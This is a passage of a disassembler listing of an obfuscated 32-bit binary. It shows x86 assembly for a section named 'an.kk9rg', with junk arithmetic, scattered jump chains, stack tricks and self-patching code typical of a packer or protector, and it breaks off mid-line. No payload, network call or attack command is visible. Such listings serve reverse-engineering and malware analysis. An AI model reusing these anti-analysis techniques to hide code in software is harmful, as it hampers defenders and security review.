U B R O U T I N E ======================================= sub_10016A1B proc near ; CODE XREF: sub_1001679F:loc_10015840p ; an.kk9rg:1001C1D3j ; FUNCTION CHUNK AT 100139BC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10016958 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100169C7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10017C15 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10017E8A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001A1BB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A725 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001AA4D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001ACC2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001D9CC SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jnz loc_100139BC mov eax, [ebp-4] jmp loc_1001A1BB sub_10016A1B endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_10016A34: ; CODE XREF: sub_1001A12F+9j jmp loc_1001A6A8 ; END OF FUNCTION CHUNK FOR sub_1001A12F ; =============== S U B R O U T I N E ======================================= sub_10016A39 proc near ; CODE XREF: sub_1001A1DEp ; sub_10019571+1067j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10013A7C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10014DB8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 100163F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100193AB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10019D76 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C4B8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001D783 SIZE 0000001A BYTES xchg ecx, [esp+0] pop ecx loc_10016A3D: ; CODE XREF: an.kk9rg:loc_10014EACj jnz loc_10013A7C xchg ebx, [esp-4+arg_0] jmp loc_100193AB sub_10016A39 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001985B loc_10016A4B: ; CODE XREF: sub_1001985B+1150j push ecx push offset sub_1001ACA5 jmp loc_10017E18 ; END OF FUNCTION CHUNK FOR sub_1001985B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_10016A57: ; CODE XREF: sub_10018E79+20B6j jmp nullsub_89 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100178C9 loc_10016A5C: ; CODE XREF: sub_100178C9-8FEj jmp loc_1001495A ; END OF FUNCTION CHUNK FOR sub_100178C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10016A61: ; CODE XREF: sub_10018066:loc_10015EE8j ; an.kk9rg:100192B1j push 381CE25Ah pop esi or esi, 0A9A803F0h test esi, 40000h jmp loc_10016B07 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- jz loc_10016CDA jmp loc_10015464 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov ds:off_10002030, eax lea eax, loc_1001760B mov byte ptr [eax], 0C3h jmp loc_100196BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B8D3 loc_10016A98: ; CODE XREF: sub_1001B8D3:loc_1001760Bj xchg ebp, [esp+0] mov edx, ebp jmp loc_1001AD10 ; END OF FUNCTION CHUNK FOR sub_1001B8D3 ; =============== S U B R O U T I N E ======================================= sub_10016AA2 proc near ; CODE XREF: sub_1001725E+775p ; an.kk9rg:10019541j arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx xchg eax, [esp-4+arg_0] jmp sub_100181E1 sub_10016AA2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub esi, 4AC3A0FFh jmp sub_1001C67F ; --------------------------------------------------------------------------- sub esi, ebx jmp loc_100195A5 ; --------------------------------------------------------------------------- test edi, eax jmp loc_1001A271 ; --------------------------------------------------------------------------- loc_10016AC7: ; CODE XREF: an.kk9rg:1001D3DEj and edx, 42F4DEB1h test edx, 10000000h jmp loc_1001695E ; --------------------------------------------------------------------------- add ebp, ecx jmp sub_1001CB61 ; --------------------------------------------------------------------------- locret_10016ADF: ; CODE XREF: an.kk9rg:100190B8j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014C0D loc_10016AE0: ; CODE XREF: sub_10014C0D+4j jmp loc_10015F4F ; END OF FUNCTION CHUNK FOR sub_10014C0D ; --------------------------------------------------------------------------- cmp ebx, 64FE5411h jmp loc_10016C71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CB9 loc_10016AF0: ; CODE XREF: sub_10017CB9:loc_1001797Cj xor eax, 0D18C9B36h sub eax, 1579AC8Bh xor eax, 0BDD3B5D6h call sub_10017667 loc_10016B07: ; CODE XREF: sub_10018066-15F3j jmp loc_100192B6 ; END OF FUNCTION CHUNK FOR sub_10017CB9 ; --------------------------------------------------------------------------- push ecx mov ecx, eax xchg ecx, [esp] ror eax, 0Fh mov ds:dword_1001D744, eax jmp locret_100140B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10016B20 proc near ; CODE XREF: sub_100180C2:loc_1001A9C1j ; FUNCTION CHUNK AT 100196A4 SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_100196A4 sub_10016B20 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_10016B29 proc near ; CODE XREF: sub_10016D66+FAAp ; sub_10014FD4:loc_1001A1E8j var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 10014C4E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015D75 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10018392 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018A77 SIZE 00000011 BYTES push eax push ebp mov ebp, edi xchg ebp, [esp+8+var_8] push 11F02D14h jmp loc_10018A77 sub_10016B29 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_10016B3A: ; CODE XREF: sub_100190DC-609Dj jnz loc_10019A41 jmp loc_1001DA7D ; END OF FUNCTION CHUNK FOR sub_100190DC ; --------------------------------------------------------------------------- mov ds:dword_100181AC, eax cmp ds:dword_100181AC, 0 jnz loc_100173AF jmp loc_1001CE91 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10016B5E: ; CODE XREF: sub_10019595+410Cj jl loc_10019C40 loc_10016B64: ; CODE XREF: an.kk9rg:1001A2C7j jmp loc_1001938C ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B92 loc_10016B69: ; CODE XREF: sub_10016B92+13j jmp loc_1001839C ; END OF FUNCTION CHUNK FOR sub_10016B92 ; --------------------------------------------------------------------------- jo loc_10016C53 sbb esi, ebp jmp loc_10019C40 ; --------------------------------------------------------------------------- locret_10016B7B: ; CODE XREF: an.kk9rg:loc_100183CBj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10016B7C: ; CODE XREF: sub_10016D66+2733j jmp loc_100163EB ; END OF FUNCTION CHUNK FOR sub_10016D66 ; =============== S U B R O U T I N E ======================================= sub_10016B81 proc near ; CODE XREF: an.kk9rg:10017944j ; sub_100195E8+1p ; FUNCTION CHUNK AT 10014395 SIZE 0000001D BYTES xchg eax, [esp+0] pop eax mov [ebp-4], eax push 6D830737h jmp loc_10014395 sub_10016B81 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10016B92 proc near ; CODE XREF: an.kk9rg:100192F7j ; sub_1001B943+CA3p ; FUNCTION CHUNK AT 10016B69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001839C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10018F5D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001ABA4 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx loc_10016B96: ; CODE XREF: sub_10017394:loc_100144BDj call nullsub_5 call sub_100180C2 mov edx, 0CF0182F6h jmp loc_10016B69 sub_10016B92 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10016BAA: ; CODE XREF: sub_10016167-16C8j adc ecx, ebp jmp loc_10015F16 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10016BB1: ; CODE XREF: sub_100145ED+6j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jmp loc_10014B80 ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- locret_10016BBF: ; CODE XREF: an.kk9rg:loc_10014FF7j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_10016BC0: ; CODE XREF: sub_1001D392-293j jmp sub_1001534D ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10016BC5: ; CODE XREF: sub_100136D7+994Cj jmp loc_1001A031 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- loc_10016BCA: ; CODE XREF: an.kk9rg:1001B126j xor ebp, esi cmp ebp, 35F2B125h jmp loc_100186ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_10016BD7: ; CODE XREF: sub_10017D86+523Dj and esi, 0F8023DA9h xor esi, 8B7C77E8h jmp loc_10016E52 ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10016BE8: ; CODE XREF: sub_1001893F+4j sub al, 99h push 1AD25048h pop edx xor edx, 0FD8F7BF0h add edx, 698E297h add edx, ebp jmp loc_1001757E ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_10016C03: ; DATA XREF: sub_1001A12F-5116o jnz loc_1001D271 ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016C09: ; CODE XREF: sub_1001A12F-5126j ; sub_100198E6:loc_1001578Dj ... js loc_100164F3 mov eax, [ebp+8] push offset sub_1001CF8D jmp nullsub_47 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A024 loc_10016C1C: ; CODE XREF: sub_1001A024:loc_10014669j push ecx mov [ebp+var_4], eax push 0BA6B8682h pop eax and eax, 63037F91h loc_10016C2C: ; CODE XREF: sub_1001ABFD:loc_1001D0EDj jmp loc_10019702 ; END OF FUNCTION CHUNK FOR sub_1001A024 ; --------------------------------------------------------------------------- loc_10016C31: ; DATA XREF: sub_10013688+7398o jnz loc_1001D134 mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h push offset sub_1001D129 jmp loc_10019430 ; --------------------------------------------------------------------------- loc_10016C4D: ; DATA XREF: sub_1001B5A3-2E1o xor eax, 0D119625Eh loc_10016C53: ; CODE XREF: an.kk9rg:10016B6Ej call sub_1001A6D2 ; START OF FUNCTION CHUNK FOR sub_10018C61 loc_10016C58: ; CODE XREF: sub_10018C61+9j jmp loc_10017098 ; END OF FUNCTION CHUNK FOR sub_10018C61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_10016C5D: ; CODE XREF: sub_1001D461:loc_10014F74j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10019216 jmp loc_10014334 ; END OF FUNCTION CHUNK FOR sub_1001D461 ; --------------------------------------------------------------------------- loc_10016C71: ; CODE XREF: an.kk9rg:10016AEBj jno loc_1001377E ; =============== S U B R O U T I N E ======================================= sub_10016C77 proc near ; CODE XREF: sub_10016167+4B9Fp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100131D6 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001C3F7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DBF1 SIZE 00000019 BYTES xchg edx, [esp+0] pop edx push 8518BAB2h pop ebx xor ebx, 782C4227h or ebx, 0D30C0971h jmp loc_100131D6 sub_10016C77 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10016C92 proc near ; DATA XREF: an.kk9rg:10017378o jz loc_1001A637 mov eax, [ebp-4] cmp byte ptr [eax], 0CFh jz loc_1001A630 mov eax, [ebp-4] jmp loc_1001C6C3 sub_10016C92 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10016CAC: ; CODE XREF: sub_100136D7:loc_10015261j ; sub_1001B9C1:loc_1001B9CAj mov eax, [ebp-4] loc_10016CAF: ; CODE XREF: sub_1001A97E:loc_100178F4j movzx eax, byte ptr [eax] cmp ds:dword_1001BCAC[eax*4], 0 jmp loc_10019725 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10016CBF: ; CODE XREF: sub_10015E0D:loc_10015061j jnz loc_1001A263 loc_10016CC5: ; CODE XREF: sub_10013389+A6D3j jmp loc_1001A06A ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_10016CCA: ; CODE XREF: sub_1001A54C+3j jmp loc_10017ECA ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015792 loc_10016CCF: ; CODE XREF: sub_10015792+16j jmp loc_100155A6 ; END OF FUNCTION CHUNK FOR sub_10015792 ; --------------------------------------------------------------------------- jle loc_10018500 loc_10016CDA: ; CODE XREF: an.kk9rg:10016A78j jmp loc_1001A261 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_10016CDF: ; CODE XREF: sub_1001B096-4060j jnz loc_1001C233 add ecx, 0C094A14h jns loc_1001B2CF xchg edi, [edx] jmp loc_1001C4A4 ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- loc_10016CF8: ; CODE XREF: an.kk9rg:100138E2j jb loc_1001D396 sbb eax, 18FA5516h ; =============== S U B R O U T I N E ======================================= sub_10016D04 proc near ; CODE XREF: sub_1001D461-84E2p var_4 = dword ptr -4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 100135DD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013AAD SIZE 00000029 BYTES ; FUNCTION CHUNK AT 10014C16 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100154BF SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10015A30 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015DD3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10015F08 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10016357 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100165CE SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10016F0E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100170E6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018101 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 100181A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019113 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100191BE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10019216 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100193A6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019803 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019F0E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A4C7 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001A64B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B0F9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B54B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001C35C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001C38F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DCB8 SIZE 00000023 BYTES xchg edi, [esp+0] pop edi imul byte ptr [edx] cmp al, 0A4h jz loc_10019216 jmp loc_10019F0E sub_10016D04 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10016D17: ; CODE XREF: an.kk9rg:1001AD84j xchg edx, [esp] jmp loc_10014532 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10016D20: ; CODE XREF: an.kk9rg:1001B88Ej jmp locret_1001797B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_10016D25: ; CODE XREF: sub_10019030+1j jmp loc_100138B8 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018352 loc_10016D2A: ; CODE XREF: sub_10018352+14j jmp loc_10018A07 ; END OF FUNCTION CHUNK FOR sub_10018352 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_10016D2F: ; CODE XREF: sub_10018C76-2860j jmp loc_100191EE ; END OF FUNCTION CHUNK FOR sub_10018C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10016D34: ; CODE XREF: sub_1001893F+70Aj jnz loc_100159FD xor ebx, ebp push esi jmp loc_100143B7 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001691F loc_10016D42: ; CODE XREF: sub_1001691F+1Bj add edx, ebp add edx, 84898494h ; END OF FUNCTION CHUNK FOR sub_1001691F loc_10016D4A: ; CODE XREF: an.kk9rg:100167D9j mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_100169A1 jmp loc_1001CF6B ; --------------------------------------------------------------------------- loc_10016D5B: ; CODE XREF: an.kk9rg:1001D588j jnz loc_100130B6 jmp loc_1001538B ; =============== S U B R O U T I N E ======================================= sub_10016D66 proc near ; CODE XREF: an.kk9rg:1001821Aj ; sub_10015C14+2C87p var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013207 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10013619 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013AA2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10013FE9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001400A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001407A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001466E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001468E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014704 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001491B SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10014B0C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10014B24 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014DBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014F5D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 100155FB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001624B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100163EB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016A04 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016B7C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016EFA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10017982 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017D0A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10017E6B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10018299 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018480 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001868F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001876B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018DD3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10019149 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001948E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 100195B5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10019604 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A03F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001A123 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001A360 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AD8A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001B104 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B4AC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001B60F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001B6AE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001BC14 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 1001C49E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001D344 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001D8FD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001DE5E SIZE 00000023 BYTES xchg ebx, [esp+0] pop ebx push 9DD4FC05h pop ecx add ecx, 0A947BDBDh and ecx, ds:100000CBh jnz loc_10017E6B cmp ebx, 6BB5B757h jmp loc_1001466E sub_10016D66 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193B1 loc_10016D8D: ; CODE XREF: sub_100193B1+6j push ecx push 0C42DDDAh pop ecx and ecx, 0B8B2764Eh jmp loc_1001BA56 ; END OF FUNCTION CHUNK FOR sub_100193B1 ; =============== S U B R O U T I N E ======================================= sub_10016D9F proc near ; CODE XREF: an.kk9rg:loc_10013639p ; an.kk9rg:10014C5Aj xchg edi, [esp+0] pop edi push 58E45AC6h pop eax sub eax, 5820E3FEh call sub_1001536A loc_10016DB4: ; CODE XREF: an.kk9rg:1001B3F9j jmp nullsub_201 sub_10016D9F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A70A loc_10016DB9: ; CODE XREF: sub_1001A70A+10j jmp loc_10013B03 ; END OF FUNCTION CHUNK FOR sub_1001A70A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_10016DBE: ; CODE XREF: sub_10018C4D+Fj jmp loc_100170AF ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10016DC3: ; CODE XREF: sub_10019571:loc_10013B2Bj and eax, 49096489h and esi, ecx jmp loc_10014C27 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017DC3 loc_10016DD0: ; CODE XREF: sub_10017DC3+Bj push offset loc_1001CE9C loc_10016DD5: ; CODE XREF: an.kk9rg:1001BB99j jmp loc_1001D817 ; END OF FUNCTION CHUNK FOR sub_10017DC3 ; --------------------------------------------------------------------------- push ebp mov ebp, esp call sub_1001A6F7 loc_10016DE2: ; CODE XREF: an.kk9rg:1001CD3Fj jmp loc_10019507 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001725E loc_10016DE7: ; CODE XREF: sub_1001725E+C98j jmp loc_100179C3 ; END OF FUNCTION CHUNK FOR sub_1001725E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_10016DEC: ; CODE XREF: sub_1001456F:loc_10015D94j jnz loc_1001ADF8 jmp loc_100183D0 ; END OF FUNCTION CHUNK FOR sub_1001456F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016DF8: ; CODE XREF: sub_10013389+B3j jmp nullsub_196 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_10016DFD: ; CODE XREF: sub_100189D7-454Ej jnz loc_1001723D jmp loc_10017579 ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_10016E08: ; CODE XREF: sub_10015066+86BCj push 0F73349E5h sbb edx, esi loc_10016E0F: ; CODE XREF: sub_10014E66:loc_1001BC62j push eax push 2FB34E6Eh pop eax sub eax, 8B813732h cmp eax, 0CC42D7C9h jmp loc_1001D353 ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_10016E27: ; CODE XREF: sub_100180C2+68Aj jnz loc_1001A0BF add edi, 648A7709h not eax jmp loc_1001A0B9 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- and edx, 198E46FEh jmp loc_10016F9E ; --------------------------------------------------------------------------- add eax, 46C5731Eh jmp sub_1001B3CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_10016E50: ; CODE XREF: sub_1001A12F+2E59j sbb ebx, ecx loc_10016E52: ; CODE XREF: sub_10017D86:loc_10015309j ; sub_1001893F:loc_10016979j ... jmp loc_100161B7 ; --------------------------------------------------------------------------- loc_10016E57: ; CODE XREF: sub_10017D86-3437j ; sub_1001A12F+3j pop ecx xchg esi, [esp+0] mov ebp, esi pop esi retn ; END OF FUNCTION CHUNK FOR sub_1001A12F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10016E5F: ; CODE XREF: sub_100145ED+30AEj jmp loc_1001424D ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_10016E64: ; CODE XREF: sub_10013044+9C35j test ecx, 0AAAE434Dh jmp loc_10017ADD ; END OF FUNCTION CHUNK FOR sub_10013044 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CCE loc_10016E70: ; CODE XREF: sub_10014CCE+Cj jmp loc_1001CCA7 ; END OF FUNCTION CHUNK FOR sub_10014CCE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_10016E76: ; CODE XREF: sub_10015988+784Ej jmp loc_10017406 ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- loc_10016E7B: ; CODE XREF: an.kk9rg:10017A0Fj jmp loc_10014439 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10016E80: ; CODE XREF: sub_100193F2-48EBj jmp loc_1001CC29 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C8CE loc_10016E86: ; CODE XREF: sub_1001C8CE-1FA7j jmp loc_10019B82 ; END OF FUNCTION CHUNK FOR sub_1001C8CE ; =============== S U B R O U T I N E ======================================= sub_10016E8B proc near ; CODE XREF: an.kk9rg:10015E35j ; sub_100188EE+2024p xchg edx, [esp+0] pop edx add eax, 482E29E4h push offset loc_10017E1D jmp nullsub_19 sub_10016E8B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10016E9F: ; CODE XREF: sub_100194EA-582j mov al, [eax] mov edx, [ebp-20h] mov [edx], al inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] jmp loc_1001B647 ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10016EB1: ; CODE XREF: sub_10019409-3526j or eax, edx mov edx, [ebp-8] mov [edx], al call sub_10015190 loc_10016EBD: ; CODE XREF: sub_1001B913-18F4j jmp loc_1001332E ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017F49 loc_10016EC2: ; CODE XREF: sub_10017F49+12j jmp loc_1001DCEE ; END OF FUNCTION CHUNK FOR sub_10017F49 ; --------------------------------------------------------------------------- loc_10016EC7: ; CODE XREF: an.kk9rg:100166ACj not eax ; START OF FUNCTION CHUNK FOR sub_100150BD loc_10016EC9: ; CODE XREF: 